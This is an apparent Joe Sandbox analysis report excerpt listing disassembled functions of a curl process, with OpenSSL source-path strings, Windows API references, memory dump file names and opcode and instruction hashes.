Instruction Fuzzy Hash: FCD18B716183459BC724CF64C890AABB7F5FF99308F148A6DF88987251E772DD09CB82

Function 00A01350 Relevance: 4.1, Strings: 3, Instructions: 331COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\evp\evp_lib.c, xrefs: 00A01707
..\..\openssl\openssl\ssl\t1_enc.c, xrefs: 00A0172D
chunk >= 0, xrefs: 00A01723

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\evp\evp_lib.c$..\..\openssl\openssl\ssl\t1_enc.c$chunk >= 0
API String ID: 0-1425259148
Opcode ID: d04b28f0b5066b484db255ea182d43f8ba2d2cb81b5f37bab5eb92bc7c3c8988
Instruction ID: bf8f24bdb8f9463bac053e8151d3a55a4111cd2c36f9507b1ab13c3ec7ad8a12
Opcode Fuzzy Hash: d04b28f0b5066b484db255ea182d43f8ba2d2cb81b5f37bab5eb92bc7c3c8988
Instruction Fuzzy Hash: 35B1C272A04349ABD710DB65DD41B9BB7E8AFC4344F08492DF985D2192FF36E904C762

Function 00A3C0C0 Relevance: 3.9, Strings: 2, Instructions: 1351COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 00A3D0D8
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 00A3D0CE

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 0-165147023
Opcode ID: 757db3670183ff0497330662557057a29437fa813b4eefa346cc275c2b48af03
Instruction ID: 4335bbb89d69588a117628e507239c7cd55e4d26319bdd653b7b44e1b6b70c09
Opcode Fuzzy Hash: 757db3670183ff0497330662557057a29437fa813b4eefa346cc275c2b48af03
Instruction Fuzzy Hash: 59A2DF31A043419BD724DF64CC41B6BB7E6BFC5760F08892DF889A7291EB71E905CB92

Function 009B82E0 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 223COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000001C,?,?,?,?), ref: 009B8522

Strings

%lx, xrefs: 009B8497

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: %lx
API String ID: 1452528299-1448181948
Opcode ID: 85846be81bc3ce1b89a9138cd6234d0d50c37c4bbf272e5c3fb7492e3753f783
Instruction ID: 87e29a1ed41c68315e9bd47ff6d88c9b8b879355cc2ae7f90c6fb78ba3c1f689
Opcode Fuzzy Hash: 85846be81bc3ce1b89a9138cd6234d0d50c37c4bbf272e5c3fb7492e3753f783
Instruction Fuzzy Hash: 0A8185316047524BC724CE28C5405AFB7DAAFC9724F144B6DE4E5C72A1EB71D94AC782

Function 00A63000 Relevance: 3.1, Strings: 2, Instructions: 614COMMON

Download Yara Rule

Strings

43<, xrefs: 00A63011
ection, xrefs: 00A631A7

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: 43<$ection
API String ID: 0-287408825
Opcode ID: 70cb0225f141fd1f53f01dfe63cc71a24db9500a5dbd3597fe8681cd36241743
Instruction ID: b086d0ff1dc955cb2e730297103dad15fbac986d61467d2fb6fc0a6551f79ef9
Opcode Fuzzy Hash: 70cb0225f141fd1f53f01dfe63cc71a24db9500a5dbd3597fe8681cd36241743
Instruction Fuzzy Hash: 153280725007419FD7208F69CC40B97BBF0FF85320F548A2EE9AA87241D7B5B659CB91

Function 00A38AB0 Relevance: 3.1, Strings: 2, Instructions: 577COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\bn\bn_exp2.c, xrefs: 00A38B33
..\..\openssl\openssl\crypto\bn\bn_ctx.c, xrefs: 00A38C13

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\bn\bn_ctx.c$..\..\openssl\openssl\crypto\bn\bn_exp2.c
API String ID: 0-1961960460
Opcode ID: decc54cc40ffa1707be37e9a5e3158c5f3b589aa2f9766a60bbd1463bf4445ec
Instruction ID: 926d24ad0d780d9b85834b10d4d72dff572b9f4f9f4f044bf0a73350242123e2
Opcode Fuzzy Hash: decc54cc40ffa1707be37e9a5e3158c5f3b589aa2f9766a60bbd1463bf4445ec
Instruction Fuzzy Hash: 01225671A083018BDB50DF29D98476BB7E6AFC8344F14492DF89997382EB76DC05CB92

Function 00A0CC70 Relevance: 3.0, Strings: 2, Instructions: 454COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\bn\bn_exp.c, xrefs: 00A0CDD4
..\..\openssl\openssl\crypto\bn\bn_exp.c, xrefs: 00A0CCC1

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\bn\bn_exp.c$..\..\openssl\openssl\crypto\bn\bn_exp.c
API String ID: 0-257943192
Opcode ID: c78b57d63bfa99edd226af0dad6633bf43c571807b8bf9555fa26fc63d472355
Instruction ID: 8d8a9a5603bf9ad5e82bd529924bbe98018fd929e3525f377840a27baaa802e8
Opcode Fuzzy Hash: c78b57d63bfa99edd226af0dad6633bf43c571807b8bf9555fa26fc63d472355
Instruction Fuzzy Hash: EEF15171E0020D9BDF14DFD4E991BEEB7B5EF84314F148129E90AEB281EB359A05CB91

Function 009F4030 Relevance: 2.8, Strings: 2, Instructions: 310COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\x509\x509_obj.c, xrefs: 009F432A
NO X509_NAME, xrefs: 009F40D5

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\x509\x509_obj.c$NO X509_NAME
API String ID: 0-3273843589
Opcode ID: be7cffdc9f9aa7af98b3c649abb1f8d31c50b98b2bcc07ee6b0d6a9a391d58c0
Instruction ID: c70c8f31644e0b6818f25cc2a6226cbf8049876838afb2b3ec3aa0b760a07306
Opcode Fuzzy Hash: be7cffdc9f9aa7af98b3c649abb1f8d31c50b98b2bcc07ee6b0d6a9a391d58c0
Instruction Fuzzy Hash: 6BB1DF316083458FD720CF28C88176BBBE5AF94314F18892DFA99DB341DB75E845CB92

Function 00A374B0 Relevance: 2.7, Strings: 2, Instructions: 247COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\evp\evp_lib.c, xrefs: 00A374FE
, xrefs: 00A37689

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: $..\..\openssl\openssl\crypto\evp\evp_lib.c
API String ID: 0-3364115131
Opcode ID: 265fb09f089913560389cf304301c05660f25c607030e67015b08dd1025ef9dd
Instruction ID: e5ac6da3ca0273102cf5c8a5c905c253a717c7bcb4aee79026ac8fef6a5d22ed
Opcode Fuzzy Hash: 265fb09f089913560389cf304301c05660f25c607030e67015b08dd1025ef9dd
Instruction Fuzzy Hash: EC91B672A083458FC725DF28C881AAFB7E5AFD8304F104A2DF999D7241EB31D905CB92

Function 00A134B0 Relevance: 2.7, Strings: 1, Instructions: 1472COMMON

Download Yara Rule

Strings

, xrefs: 00A14428

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: b452c52b2661281611aa1f2518df991cf163c5b97012da7f9b91bff9145c92a1
Instruction ID: dd59b158b1d83e4523e51143c3997c4fb674aa7e72b63a41b2bcf1ec95c4072d
Opcode Fuzzy Hash: b452c52b2661281611aa1f2518df991cf163c5b97012da7f9b91bff9145c92a1
Instruction Fuzzy Hash: D1B29172B083504BD75CCF1ED86016AF7E2BBC8214F49862DF89AD7345DA78DD0A8B85

Function 00A8C545 Relevance: 1.8, APIs: 1, Instructions: 268COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?), ref: 00A8C770

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 811b08601c25353615b51f3a441eed310e960d4cda6fb5ffc6e96da407fbb961
Instruction ID: 549d55a764e5b83a958c7cfb2097b97caeb6be4b3c9144f39120a63014dd07ca
Opcode Fuzzy Hash: 811b08601c25353615b51f3a441eed310e960d4cda6fb5ffc6e96da407fbb961
Instruction Fuzzy Hash: 81B15D31620608DFDB19DF28C486B657BE0FF44364F258668E99ACF2A1D335E992CF50

Function 00A408B0 Relevance: 1.7, Strings: 1, Instructions: 471COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\bn\bn_ctx.c, xrefs: 00A408E2

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\bn\bn_ctx.c
API String ID: 0-368916965
Opcode ID: ebc433a5e819c983580d6e17f37eea186c16ed42a06c8e28144aefc6112b8654
Instruction ID: 228319bf1f0cdac4c4693422161efa3720ad1c996071a029b253642dea1afd9d
Opcode Fuzzy Hash: ebc433a5e819c983580d6e17f37eea186c16ed42a06c8e28144aefc6112b8654
Instruction Fuzzy Hash: AE126F796083068FC714CF19C590A2AB7E1FFC8344F148A6DEA958B356EB30ED45DB82

Function 00A86B62 Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,?,000000F0), ref: 00A86BBB

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
